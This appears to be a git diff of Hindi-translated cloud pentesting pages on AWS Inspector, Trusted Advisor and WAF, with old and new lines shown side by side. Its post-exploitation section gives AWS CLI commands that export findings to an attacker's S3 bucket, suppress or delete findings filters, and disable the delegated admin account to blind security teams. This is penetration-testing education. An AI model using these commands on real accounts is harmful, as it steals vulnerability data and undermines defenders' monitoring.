- **Suppressed**: निष्कर्ष को एक या अधिक **suppression rules** के कारण इस स्थिति के साथ चिह्नित किया गया है।
निष्कर्षों को अगले तीन प्रकारों में भी वर्गीकृत किया गया है:
निष्कर्षों को अगले तीन प्रकारों में भी वर्गीकृत किया जाता है:
- **Package**: ये निष्कर्ष आपके संसाधनों पर स्थापित सॉफ़्टवेयर पैकेज में भेद्यताओं से संबंधित हैं। उदाहरणों में पुराने पुस्तकालय या ज्ञात सुरक्षा मुद्दों वाले निर्भरताएँ शामिल हैं।
- **Code**: इस श्रेणी में आपके AWS संसाधनों पर चलने वाले अनुप्रयोगों के कोड में पाए जाने वाले भेद्यताएँ शामिल हैं। सामान्य मुद्दे कोडिंग त्रुटियाँ या असुरक्षित प्रथाएँ हैं जो सुरक्षा उल्लंघनों का कारण बन सकती हैं।
- **Network**: नेटवर्क निष्कर्ष संभावित एक्सपोजर की पहचान करते हैं जो नेटवर्क कॉन्फ़िगरेशन में हो सकते हैं जिन्हें हमलावरों द्वारा शोषित किया जा सकता है। इनमें खुले पोर्ट, असुरक्षित नेटवर्क प्रोटोकॉल, और गलत कॉन्फ़िगर किए गए सुरक्षा समूह शामिल हैं।
- **Network**: नेटवर्क निष्कर्ष संभावित एक्सपोजर की पहचान करते हैं जो हमलावरों द्वारा शोषित किए जा सकते हैं। इनमें खुले पोर्ट, असुरक्षित नेटवर्क प्रोटोकॉल, और गलत कॉन्फ़िगर किए गए सुरक्षा समूह शामिल हैं।
#### Filters and Suppression Rules
Amazon Inspector में फ़िल्टर और दमन नियम निष्कर्षों का प्रबंधन और प्राथमिकता देने में मदद करते हैं। फ़िल्टर आपको गंभीरता या संसाधन प्रकार जैसे विशिष्ट मानदंडों के आधार पर निष्कर्षों को परिष्कृत करने की अनुमति देते हैं। दमन नियम आपको कुछ निष्कर्षों को दबाने की अनुमति देते हैं जिन्हें कम जोखिम माना जाता है, जिन्हें पहले ही कम किया गया है, या किसी अन्य महत्वपूर्ण कारण से, जिससे वे आपकी सुरक्षा रिपोर्ट को अधिभारित करने से रोकते हैं और आपको अधिक महत्वपूर्ण मुद्दों पर ध्यान केंद्रित करने की अनुमति देते हैं।
Amazon Inspector में फ़िल्टर और दमन नियम निष्कर्षों का प्रबंधन और प्राथमिकता देने में मदद करते हैं। फ़िल्टर आपको गंभीरता या संसाधन प्रकार जैसे विशिष्ट मानदंडों के आधार पर निष्कर्षों को परिष्कृत करने की अनुमति देते हैं। दमन नियम आपको कुछ निष्कर्षों को दबाने की अनुमति देते हैं जिन्हें कम जोखिम माना जाता है, पहले ही कम किया गया है, या किसी अन्य महत्वपूर्ण कारण से, जिससे आपके सुरक्षा रिपोर्टों को अधिभारित होने से रोका जा सके और आप अधिक महत्वपूर्ण मुद्दों पर ध्यान केंद्रित कर सकें।
#### Software Bill of Materials (SBOM)
Amazon Inspector में सॉफ़्टवेयर बिल ऑफ़ मटेरियल्स (SBOM) एक निर्यात योग्य नेस्टेड इन्वेंटरी सूची है जो सॉफ़्टवेयर पैकेज के भीतर सभी घटकों का विवरण देती है, जिसमें पुस्तकालय और निर्भरताएँ शामिल हैं। SBOMs सॉफ़्टवेयर आपूर्ति श्रृंखला में पारदर्शिता प्रदान करने में मदद करते हैं, बेहतर भेद्यता प्रबंधन और अनुपालन सक्षम करते हैं। ये ओपन-सोर्स और तृतीय-पक्ष सॉफ़्टवेयर घटकों से संबंधित जोखिमों की पहचान और कम करने के लिए महत्वपूर्ण हैं।
Amazon Inspector में सॉफ़्टवेयर बिल ऑफ मटेरियल्स (SBOM) एक निर्यात योग्य नेस्टेड इन्वेंटरी सूची है जो एक सॉफ़्टवेयर पैकेज के भीतर सभी घटकों का विवरण देती है, जिसमें पुस्तकालय और निर्भरताएँ शामिल हैं। SBOMs सॉफ़्टवेयर आपूर्ति श्रृंखला में पारदर्शिता प्रदान करने में मदद करते हैं, बेहतर भेद्यता प्रबंधन और अनुपालन सक्षम करते हैं। ये ओपन-सोर्स और तृतीय-पक्ष सॉफ़्टवेयर घटकों से संबंधित जोखिमों की पहचान और कम करने के लिए महत्वपूर्ण हैं।
### Key features
#### Export findings
Amazon Inspector निष्कर्षों को Amazon S3 Buckets, Amazon EventBridge और AWS Security Hub में निर्यात करने की क्षमता प्रदान करता है, जिससे आप पहचानी गई भेद्यताओं और एक्सपोजर की विस्तृत रिपोर्ट उत्पन्न कर सकते हैं जो आगे विश्लेषण या किसी विशेष तिथि और समय पर साझा करने के लिए होती है। यह सुविधा विभिन्न आउटपुट प्रारूपों जैसे CSV और JSON का समर्थन करती है, जिससे अन्य उपकरणों और प्रणालियों के साथ एकीकृत करना आसान हो जाता है। निर्यात कार्यक्षमता रिपोर्ट में शामिल डेटा को अनुकूलित करने की अनुमति देती है, जिससे आप गंभीरता, संसाधन प्रकार, या तिथि सीमा जैसे विशिष्ट मानदंडों के आधार पर निष्कर्षों को फ़िल्टर कर सकते हैं और डिफ़ॉल्ट रूप से आपके सभी निष्कर्षों को वर्तमान AWS क्षेत्र में सक्रिय स्थिति के साथ शामिल कर सकते हैं।
Amazon Inspector निष्कर्षों को Amazon S3 Buckets, Amazon EventBridge और AWS Security Hub में निर्यात करने की क्षमता प्रदान करता है, जिससे आप पहचानी गई भेद्यताओं और एक्सपोजर की विस्तृत रिपोर्ट उत्पन्न कर सकते हैं। यह सुविधा विभिन्न आउटपुट प्रारूपों जैसे CSV और JSON का समर्थन करती है, जिससे अन्य उपकरणों और प्रणालियों के साथ एकीकृत करना आसान हो जाता है। निर्यात कार्यक्षमता रिपोर्टों में शामिल डेटा को अनुकूलित करने की अनुमति देती है, जिससे आप गंभीरता, संसाधन प्रकार, या दिनांक सीमा जैसे विशिष्ट मानदंडों के आधार पर निष्कर्षों को फ़िल्टर कर सकते हैं और डिफ़ॉल्ट रूप से आपके सभी निष्कर्षों को वर्तमान AWS क्षेत्र में सक्रिय स्थिति के साथ शामिल कर सकते हैं।
निष्कर्षों को निर्यात करते समय, डेटा को निर्यात के दौरान एन्क्रिप्ट करने के लिए एक की प्रबंधन सेवा (KMS) कुंजी आवश्यक है। KMS कुंजी सुनिश्चित करती हैं कि निर्यातित निष्कर्ष अनधिकृत पहुंच से सुरक्षित हैं, संवेदनशील भेद्यता जानकारी के लिए एक अतिरिक्त सुरक्षा परत प्रदान करती हैं।
#### Amazon EC2 instances scanning
Amazon Inspector Amazon EC2 उदाहरणों के लिए भेद्यताओं और सुरक्षा मुद्दों का पता लगाने के लिए मजबूत स्कैनिंग क्षमताएँ प्रदान करता है। Inspector ने EC2 उदाहरण से निकाले गए मेटाडेटा की तुलना सुरक्षा सलाहकारों के नियमों के खिलाफ की ताकि पैकेज भेद्यताओं और नेटवर्क पहुंच समस्याओं का उत्पादन किया जा सके। ये स्कैन **एजेंट-आधारित** या **एजेंटलेस** विधियों के माध्यम से किए जा सकते हैं, जो आपके खाते की **स्कैन मोड** सेटिंग्स कॉन्फ़िगरेशन पर निर्भर करता है।
Amazon Inspector Amazon EC2 उदाहरणों के लिए भेद्यताओं और सुरक्षा मुद्दों का पता लगाने के लिए मजबूत स्कैनिंग क्षमताएँ प्रदान करता है। Inspector ने EC2 उदाहरण से निकाले गए मेटाडेटा की तुलना सुरक्षा सलाहकारों के नियमों से की ताकि पैकेज भेद्यताओं और नेटवर्क पहुंच समस्याओं का उत्पादन किया जा सके। ये स्कैन **एजेंट-आधारित** या **एजेंटलेस** विधियों के माध्यम से किए जा सकते हैं, जो आपके खाते की **स्कैन मोड** सेटिंग्स कॉन्फ़िगरेशन पर निर्भर करते हैं।
- **Agent-Based**: गहन स्कैन करने के लिए AWS Systems Manager (SSM) एजेंट का उपयोग करता है। यह विधि उदाहरण से सीधे डेटा संग्रह और विश्लेषण की अनुमति देती है।
- **Agentless**: एक हल्का विकल्प प्रदान करता है जिसे उदाहरण पर एजेंट स्थापित करने की आवश्यकता नहीं होती है, EC2 उदाहरण के प्रत्येक वॉल्यूम का EBS स्नैपशॉट बनाता है, भेद्यताओं की तलाश करता है, और फिर इसे हटा देता है; स्कैनिंग के लिए मौजूदा AWS अवसंरचना का लाभ उठाता है।
- **Agentless**: यह एक हल्का विकल्प प्रदान करता है जिसे उदाहरण पर एजेंट स्थापित करने की आवश्यकता नहीं होती है, EC2 उदाहरण के प्रत्येक वॉल्यूम का EBS स्नैपशॉट बनाता है, भेद्यताओं की तलाश करता है, और फिर इसे हटा देता है; स्कैनिंग के लिए मौजूदा AWS अवसंरचना का लाभ उठाता है।
स्कैन मोड यह निर्धारित करता है कि EC2 स्कैन करने के लिए कौन सी विधि का उपयोग किया जाएगा:
- **Agent-Based**: गहन निरीक्षण के लिए EC2 उदाहरणों पर SSM एजेंट स्थापित करना शामिल है।
- **Hybrid Scanning**: कवरेज को अधिकतम करने और प्रदर्शन प्रभाव को कम करने के लिए एजेंट-आधारित और एजेंटलेस विधियों को संयोजित करता है। उन EC2 उदाहरणों में जहां SSM एजेंट स्थापित है, Inspector एजेंट-आधारित स्कैन करेगा, और जहां कोई SSM एजेंट नहीं है, वहां स्कैन एजेंटलेस किया जाएगा।
- **Hybrid Scanning**: कवरेज को अधिकतम करने और प्रदर्शन प्रभाव को कम करने के लिए एजेंट-आधारित और एजेंटलेस विधियों को मिलाता है। उन EC2 उदाहरणों में जहां SSM एजेंट स्थापित है, Inspector एजेंट-आधारित स्कैन करेगा, और जहां कोई SSM एजेंट नहीं है, वहां स्कैन एजेंटलेस किया जाएगा।
एक और महत्वपूर्ण विशेषता EC2 Linux उदाहरणों के लिए **गहन निरीक्षण** है। यह विशेषता EC2 Linux उदाहरणों के सॉफ़्टवेयर और कॉन्फ़िगरेशन का गहन विश्लेषण प्रदान करती है, जिसमें ऑपरेटिंग सिस्टम की भेद्यताएँ, अनुप्रयोग की भेद्यताएँ, और गलत कॉन्फ़िगरेशन शामिल हैं, जो एक व्यापक सुरक्षा मूल्यांकन सुनिश्चित करती हैं। यह **कस्टम पथों** और इसके सभी उप-निर्देशिकाओं के निरीक्षण के माध्यम से प्राप्त किया जाता है। डिफ़ॉल्ट रूप से, Amazon Inspector निम्नलिखित को स्कैन करेगा, लेकिन प्रत्येक सदस्य खाता 5 और कस्टम पथों को परिभाषित कर सकता है, और प्रत्येक प्रतिनिधि प्रशासक 10 तक:
एक और महत्वपूर्ण विशेषता EC2 Linux उदाहरणों के लिए **गहन निरीक्षण** है। यह विशेषता EC2 Linux उदाहरणों के सॉफ़्टवेयर और कॉन्फ़िगरेशन का गहन विश्लेषण प्रदान करती है, जिसमें ऑपरेटिंग सिस्टम की भेद्यताएँ, अनुप्रयोग की भेद्यताएँ, और गलत कॉन्फ़िगरेशन शामिल हैं, जो एक व्यापक सुरक्षा मूल्यांकन सुनिश्चित करती हैं। यह **कस्टम पथों** और इसके सभी उप-निर्देशिकाओं के निरीक्षण के माध्यम से प्राप्त किया जाता है। डिफ़ॉल्ट रूप से, Amazon Inspector निम्नलिखित को स्कैन करेगा, लेकिन प्रत्येक सदस्य खाता 5 और कस्टम पथ परिभाषित कर सकता है, और प्रत्येक प्रतिनिधि प्रशासक 10 तक:
- `/usr/lib`
- `/usr/lib64`
@@ -63,22 +61,22 @@ Amazon Inspector Amazon EC2 उदाहरणों के लिए भेद
Amazon Inspector Amazon Elastic Container Registry (ECR) कंटेनर छवियों के लिए मजबूत स्कैनिंग क्षमताएँ प्रदान करता है, यह सुनिश्चित करते हुए कि पैकेज भेद्यताएँ प्रभावी ढंग से पहचानी और प्रबंधित की जाती हैं।
- **Basic Scanning**: यह एक त्वरित और हल्का स्कैन है जो कंटेनर छवियों में ज्ञात OS पैकेज भेद्यताओं की पहचान करता है, जो ओपन-सोर्स Clair प्रोजेक्ट से मानक नियमों के सेट का उपयोग करता है। इस स्कैनिंग कॉन्फ़िगरेशन के साथ, आपके रिपॉजिटरी को पुश पर स्कैन किया जाएगा, या मैनुअल स्कैन करते समय।
- **Enhanced Scanning**: यह विकल्प पुश स्कैन के अलावा निरंतर स्कैनिंग सुविधा जोड़ता है। Enhanced scanning प्रत्येक कंटेनर छवि की परतों में गहराई से जाती है ताकि OS पैकेजों और प्रोग्रामिंग भाषाओं के पैकेजों में भेद्यताओं की उच्च सटीकता के साथ पहचान की जा सके। यह आधार छवि और किसी भी अतिरिक्त परतों का विश्लेषण करता है, संभावित सुरक्षा मुद्दों का एक व्यापक दृश्य प्रदान करता है।
- **Basic Scanning**: यह एक त्वरित और हल्का स्कैन है जो कंटेनर छवियों में ज्ञात OS पैकेज भेद्यताओं की पहचान करता है, जो ओपन-सोर्स Clair प्रोजेक्ट से मानक नियमों का उपयोग करता है। इस स्कैनिंग कॉन्फ़िगरेशन के साथ, आपके रिपॉजिटरी को पुश पर स्कैन किया जाएगा, या मैनुअल स्कैन करते समय।
- **Enhanced Scanning**: यह विकल्प पुश स्कैन के अलावा निरंतर स्कैनिंग सुविधा जोड़ता है। Enhanced scanning प्रत्येक कंटेनर छवि की परतों में गहराई से जाती है ताकि OS पैकेजों और प्रोग्रामिंग भाषाओं के पैकेजों में भेद्यताओं की पहचान की जा सके। यह आधार छवि और किसी भी अतिरिक्त परतों का विश्लेषण करता है, संभावित सुरक्षा मुद्दों का एक व्यापक दृश्य प्रदान करता है।
#### Amazon Lambda functions scanning
Amazon Inspector AWS Lambda कार्यों और इसकी परतों के लिए व्यापक स्कैनिंग क्षमताएँ शामिल करता है, जो सर्वर रहित अनुप्रयोगों की सुरक्षा और अखंडता सुनिश्चित करता है। Inspector Lambda कार्यों के लिए दो प्रकार की स्कैनिंग प्रदान करता है:
- **Lambda standard scanning**: यह डिफ़ॉल्ट विशेषता आपके Lambda कार्य और परतों में जोड़े गए सॉफ़्टवेयर भेद्यताओं की पहचान करती है। उदाहरण के लिए, यदि आपका कार्य किसी पुस्तकालय के संस्करण का उपयोग करता है जैसे python-jwt जिसमें ज्ञात भेद्यता है, तो यह एक निष्कर्ष उत्पन्न करता है।
- **Lambda code scanning**: सुरक्षा मुद्दों के लिए कस्टम अनुप्रयोग कोड का विश्लेषण करता है, जैसे कि इंजेक्शन दोष, डेटा लीक, कमजोर क्रिप्टोग्राफी, और एन्क्रिप्शन की कमी। यह पहचान की गई भेद्यताओं को उजागर करने वाले कोड स्निपेट्स को कैप्चर करता है, जैसे हार्डकोडेड क्रेडेंशियल्स। निष्कर्षों में समस्या को ठीक करने के लिए विस्तृत सुधार सुझाव और कोड स्निपेट्स शामिल हैं।
- **Lambda standard scanning**: यह डिफ़ॉल्ट विशेषता आपके Lambda कार्य और परतों में जोड़े गए सॉफ़्टवेयर भेद्यताओं की पहचान करती है। उदाहरण के लिए, यदि आपका कार्य python-jwt जैसे पुस्तकालय के एक संस्करण का उपयोग करता है जिसमें ज्ञात भेद्यता है, तो यह एक निष्कर्ष उत्पन्न करता है।
- **Lambda code scanning**: सुरक्षा मुद्दों के लिए कस्टम अनुप्रयोग कोड का विश्लेषण करता है, जैसे कि इंजेक्शन दोष, डेटा लीक, कमजोर क्रिप्टोग्राफी, और एन्क्रिप्शन की कमी। यह पहचान की गई भेद्यताओं को उजागर करने वाले कोड स्निपेट कैप्चर करता है, जैसे कि हार्डकोडेड क्रेडेंशियल्स। निष्कर्षों में मुद्दों को ठीक करने के लिए विस्तृत सुधार सुझाव और कोड स्निपेट शामिल होते हैं।
#### **Center for Internet Security (CIS) scans**
Amazon Inspector CIS स्कैन शामिल करता है ताकि Amazon EC2 उदाहरण ऑपरेटिंग सिस्टम को Center for Internet Security (CIS) से सर्वश्रेष्ठ प्रथा सिफारिशों के खिलाफ बेंचमार्क किया जा सके। ये स्कैन सुनिश्चित करते हैं कि कॉन्फ़िगरेशन उद्योग-मानक सुरक्षा बुनियादी बातों का पालन करते हैं।
Amazon Inspector CIS स्कैन शामिल करता है ताकि Amazon EC2 उदाहरणों के ऑपरेटिंग सिस्टम को Center for Internet Security (CIS) से सर्वश्रेष्ठ प्रथा सिफारिशों के खिलाफ बेंचमार्क किया जा सके। ये स्कैन सुनिश्चित करते हैं कि कॉन्फ़िगरेशन उद्योग-मानक सुरक्षा बुनियादी बातों का पालन करते हैं।
- **Configuration**: CIS स्कैन यह मूल्यांकन करते हैं कि क्या सिस्टम कॉन्फ़िगरेशन विशिष्ट CIS बेंचमार्क सिफारिशों को पूरा करते हैं, प्रत्येक जांच को एक CIS जांच ID और शीर्षक से जोड़ा जाता है।
- **Execution**: स्कैन उदाहरण टैग और परिभाषित शेड्यूल के आधार पर किए जाते हैं या अनुसूचित होते हैं।
- **Execution**: स्कैन उदाहरण टैग और परिभाषित शेड्यूल के आधार पर किए जाते हैं या निर्धारित किए जाते हैं।
- **Results**: स्कैन के बाद के परिणाम यह संकेत करते हैं कि कौन सी जांच पास, स्किप, या फेल हुई, प्रत्येक उदाहरण की सुरक्षा स्थिति में अंतर्दृष्टि प्रदान करते हैं।
### Enumeration
@@ -182,16 +180,16 @@ aws inspector list-exclusions --assessment-run-arn <arn>
## Rule packages
aws inspector list-rules-packages
```
### पोस्ट एक्सप्लोइटेशन
### Post Exploitation
> [!TIP]
> हमलावर के दृष्टिकोण से, यह सेवा हमलावर को कमजोरियों और नेटवर्क एक्सपोजर को खोजने में मदद कर सकती है जो उसे अन्य इंस्टेंस/कंटेनरों को समझौता करने में मदद कर सकती है।
> हमलावर के दृष्टिकोण से, यह सेवा हमलावर को कमजोरियों और नेटवर्क एक्सपोजर्स को खोजने में मदद कर सकती है जो उसे अन्य इंस्टेंस/कंटेनरों को समझौता करने में मदद कर सकती हैं।
>
> हालाँकि, एक हमलावर इस सेवा को बाधित करने में भी रुचि रख सकता है ताकि पीड़ित कमजोरियों (सभी या विशिष्ट) को न देख सके।
#### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport`
एक हमलावर कमजोरियों या सॉफ़्टवेयर बिल ऑफ मटेरियल्स (SBOMs) की विस्तृत रिपोर्ट उत्पन्न कर सकता है और उन्हें आपके AWS वातावरण से एक्सफिल्ट्रेट कर सकता है। इस जानकारी का उपयोग विशिष्ट कमजोरियों, पुराने सॉफ़्टवेयर, या असुरक्षित निर्भरताओं की पहचान करने के लिए किया जा सकता है, जिससे लक्षित हमले संभव हो सकते हैं।
एक हमलावर कमजोरियों या सॉफ़्टवेयर बिल ऑफ मटेरियल्स (SBOMs) की विस्तृत रिपोर्ट उत्पन्न कर सकता है और उन्हें आपके AWS वातावरण से एक्सफिल्ट्रेट कर सकता है। इस जानकारी का उपयोग विशिष्ट कमजोरियों, पुराने सॉफ़्टवेयर, या असुरक्षित निर्भरताओं की पहचान करने के लिए किया जा सकता है, जिससे लक्षित हमले संभव होते हैं।
```bash
# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
@@ -257,7 +255,7 @@ aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s
]
}
```
3. **खोज रिपोर्ट** बनाने के लिए कमांड निष्पादित करें, इसे एक्सफिल्ट्रेट करते हुए:
3. निष्कर्ष रिपोर्ट **बनाने** के लिए कमांड निष्पादित करें:
```bash
aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
```
@@ -272,11 +270,11 @@ aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
```
- **संभावित प्रभाव**: सुरक्षा निगरानी में बाधा और सुरक्षा मुद्दों की समय पर पहचान और सुधार की रोकथाम।
- **संभावित प्रभाव**: सुरक्षा निगरानी में विघटन और सुरक्षा मुद्दों की समय पर पहचान और सुधार की रोकथाम।
#### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`
इन अनुमतियों के साथ एक हमलावर उन फ़िल्टरिंग नियमों में हेरफेर कर सकता है जो यह निर्धारित करते हैं कि कौन सी कमजोरियाँ और सुरक्षा मुद्दे रिपोर्ट किए जाते हैं या दबाए जाते हैं (यदि **क्रिया** SUPPRESS पर सेट की गई है, तो एक दबाव नियम बनाया जाएगा)। इससे सुरक्षा प्रशासकों से महत्वपूर्ण कमजोरियाँ छिप सकती हैं, जिससे इन कमजोरियों का शोषण करना बिना पहचान के आसान हो जाता है। महत्वपूर्ण फ़िल्टर को बदलकर या हटाकर, एक हमलावर अप्रासंगिक निष्कर्षों के साथ प्रणाली को भरकर शोर भी पैदा कर सकता है, जिससे प्रभावी सुरक्षा निगरानी और प्रतिक्रिया में बाधा आती है।
इन अनुमतियों के साथ एक हमलावर उन फ़िल्टरिंग नियमों में हेरफेर कर सकेगा जो यह निर्धारित करते हैं कि कौन सी कमजोरियाँ और सुरक्षा मुद्दे रिपोर्ट किए जाते हैं या दबाए जाते हैं (यदि **क्रिया** SUPPRESS पर सेट की गई है, तो एक दबाव नियम बनाया जाएगा)। इससे सुरक्षा प्रशासकों से महत्वपूर्ण कमजोरियाँ छिप सकती हैं, जिससे इन कमजोरियों का शोषण करना बिना पहचान के आसान हो जाता है। महत्वपूर्ण फ़िल्टर को बदलकर या हटाकर, एक हमलावर अप्रासंगिक निष्कर्षों के साथ प्रणाली को भरकर शोर भी पैदा कर सकता है, जिससे प्रभावी सुरक्षा निगरानी और प्रतिक्रिया में बाधा आती है।
```bash
# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
@@ -291,13 +289,13 @@ aws inspector2 delete-filter --arn <value>
एक हमलावर सुरक्षा प्रबंधन संरचना को महत्वपूर्ण रूप से बाधित कर सकता है।
- प्रतिनिधि प्रशासनिक खाते को निष्क्रिय करके, हमलावर सुरक्षा टीम को Amazon Inspector सेटिंग्स और रिपोर्टों तक पहुँचने और प्रबंधित करने से रोक सकता है।
- एक अनधिकृत प्रशासनिक खाते को सक्षम करने से हमलावर को सुरक्षा कॉन्फ़िगरेशन को नियंत्रित करने की अनुमति मिलेगी, संभावित रूप से स्कैन को निष्क्रिय करने या सेटिंग्स को संशोधित करने के लिए ताकि दुर्भावनापूर्ण गतिविधियों को छिपाया जा सके।
- प्रतिनिधि प्रशासन खाता बंद करने पर, हमलावर सुरक्षा टीम को Amazon Inspector सेटिंग्स और रिपोर्ट्स तक पहुँचने और प्रबंधित करने से रोक सकता है।
- एक अनधिकृत प्रशासन खाता सक्षम करने से हमलावर को सुरक्षा कॉन्फ़िगरेशन को नियंत्रित करने की अनुमति मिलेगी, संभावित रूप से स्कैन को बंद करने या सेटिंग्स को संशोधित करने के लिए ताकि दुर्भावनापूर्ण गतिविधियों को छिपाया जा सके।
> [!WARNING]
> अनधिकृत खाते को प्रतिनिधि प्रशासनिक बनने के लिए पीड़ित के समान संगठन में होना आवश्यक है।
> अनधिकृत खाता को प्रतिनिधि प्रशासन बनने के लिए पीड़ित के समान संगठन में होना आवश्यक है।
>
> अनधिकृत खाते को प्रतिनिधि प्रशासनिक बनने के लिए, यह भी आवश्यक है कि जब वैध प्रतिनिधि प्रशासनिक को निष्क्रिय किया जाए, और अनधिकृत खाते को प्रतिनिधि प्रशासनिक के रूप में सक्षम करने से पहले, वैध प्रशासनिक को संगठन से प्रतिनिधि प्रशासनिक के रूप में रद्द किया जाना चाहिए। यह निम्नलिखित कमांड के साथ किया जा सकता है (**`organizations:DeregisterDelegatedAdministrator`** अनुमति आवश्यक): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
> अनधिकृत खाता को प्रतिनिधि प्रशासन बनने के लिए, यह भी आवश्यक है कि जब वैध प्रतिनिधि प्रशासन को बंद किया जाए, और अनधिकृत खाता को प्रतिनिधि प्रशासन के रूप में सक्षम करने से पहले, वैध प्रशासन को संगठन से प्रतिनिधि प्रशासन के रूप में रद्द किया जाना चाहिए। इसे निम्नलिखित कमांड के साथ किया जा सकता है (**`organizations:DeregisterDelegatedAdministrator`** अनुमति आवश्यक): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
```bash
# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
@@ -318,7 +316,7 @@ aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
```
- **संभावित प्रभाव**: सुरक्षा स्कैन से प्रमुख खातों को बाहर करना, कमजोरियों के अव्यक्त शोषण की अनुमति देना।
- **संभावित प्रभाव**: सुरक्षा स्कैन से प्रमुख खातों को बाहर करना, कमजोरियों के शोषण को बिना पता लगाए सक्षम करना।
#### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`)

10
src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
View File

@@ -1,14 +1,12 @@
# AWS - Trusted Advisor Enum
## AWS - Trusted Advisor Enum
{{#include ../../../../banners/hacktricks-training.md}}
## AWS Trusted Advisor Overview
Trusted Advisor एक सेवा है जो **आपके AWS खाते को अनुकूलित करने के लिए सिफारिशें** प्रदान करती है, **AWS सर्वोत्तम प्रथाओं** के साथ संरेखित होती है। यह एक सेवा है जो कई क्षेत्रों में कार्य करती है। Trusted Advisor चार प्रमुख श्रेणियों में अंतर्दृष्टि प्रदान करता है:
Trusted Advisor एक सेवा है जो **सिफारिशें प्रदान करती है** ताकि आप अपने AWS खाते को अनुकूलित कर सकें, **AWS सर्वोत्तम प्रथाओं** के अनुसार। यह एक सेवा है जो कई क्षेत्रों में कार्य करती है। Trusted Advisor चार प्रमुख श्रेणियों में अंतर्दृष्टि प्रदान करता है:
1. **Cost Optimization:** खर्च कम करने के लिए संसाधनों को पुनर्गठित करने का सुझाव देता है।
1. **Cost Optimization:** संसाधनों को पुनर्गठित करने के तरीके सुझाता है ताकि खर्च कम हो सके।
2. **Performance:** संभावित प्रदर्शन बाधाओं की पहचान करता है।
3. **Security:** कमजोरियों या कमजोर सुरक्षा कॉन्फ़िगरेशन के लिए स्कैन करता है।
4. **Fault Tolerance:** सेवा की लचीलापन और दोष सहिष्णुता को बढ़ाने के लिए प्रथाओं की सिफारिश करता है।
@@ -34,7 +32,7 @@ Trusted Advisor की व्यापक सुविधाएँ केवल
#### Core Checks
बिजनेस या उद्यम समर्थन योजनाओं के बिना उपयोगकर्ताओं तक सीमित:
बिजनेस या उद्यम समर्थन योजनाओं के बिना उपयोगकर्ताओं के लिए सीमित:
1. Security Groups - Specific Ports Unrestricted
2. IAM Use
@@ -48,7 +46,7 @@ Trusted Advisor की व्यापक सुविधाएँ केवल
सुरक्षा खतरों की पहचान और सुधार पर केंद्रित जांचों की सूची:
- उच्च-जोखिम पोर्ट के लिए सुरक्षा समूह सेटिंग्स
- सुरक्षा समूह अनियंत्रित पहुँच
- सुरक्षा समूह की अनियंत्रित पहुँच
- S3 बकेट्स के लिए खुली लिखने/सूची पहुँच
- रूट खाते पर MFA सक्षम
- RDS सुरक्षा समूह की उदारता

70
src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
View File

@@ -1,7 +1,5 @@
# AWS - WAF Enum
## AWS - WAF Enum
{{#include ../../../../banners/hacktricks-training.md}}
## AWS WAF
@@ -16,7 +14,7 @@ Web ACL नियमों का एक संग्रह है जिसे
#### Rule Group
Rule Group नियमों का एक पुन: प्रयोज्य संग्रह है जिसे आप कई Web ACLs पर लागू कर सकते हैं। नियम समूह विभिन्न वेब एप्लिकेशन या APIs के बीच लगातार नियम सेट को प्रबंधित और बनाए रखने में मदद करते हैं।
Rule Group नियमों का एक पुन: प्रयोज्य संग्रह है जिसे आप कई Web ACLs पर लागू कर सकते हैं। नियम समूह विभिन्न वेब एप्लिकेशन या APIs के बीच लगातार नियम सेट प्रबंधित और बनाए रखने में मदद करते हैं।
प्रत्येक नियम समूह का अपना संबंधित **क्षमता** होती है, जो आपके नियमों, नियम समूहों और वेब ACLs को चलाने के लिए उपयोग किए जाने वाले संचालन संसाधनों की गणना और नियंत्रण में मदद करती है। एक बार जब इसका मान निर्माण के दौरान सेट किया जाता है, तो इसे संशोधित करना संभव नहीं होता।
@@ -25,7 +23,7 @@ Rule Group नियमों का एक पुन: प्रयोज्य
एक नियम उन शर्तों का एक सेट परिभाषित करता है जिसका उपयोग AWS WAF आने वाले वेब अनुरोधों का निरीक्षण करने के लिए करता है। नियमों के दो मुख्य प्रकार हैं:
1. **Regular Rule**: यह नियम प्रकार निर्दिष्ट शर्तों का उपयोग करता है यह निर्धारित करने के लिए कि वेब अनुरोधों को अनुमति दी जाए, अवरुद्ध किया जाए, या गिना जाए।
2. **Rate-Based Rule**: एक विशेष IP पते से पांच मिनट की अवधि में अनुरोधों की गिनती करता है। यहां, उपयोगकर्ता एक सीमा परिभाषित करते हैं, और यदि किसी IP से अनुरोधों की संख्या इस सीमा को पांच मिनट के भीतर पार कर जाती है, तो उस IP से आने वाले अगले अनुरोधों को अवरुद्ध कर दिया जाता है जब तक कि अनुरोध दर सीमा के नीचे नहीं गिरती। दर-आधारित नियमों के लिए न्यूनतम सीमा **2000 अनुरोध** है।
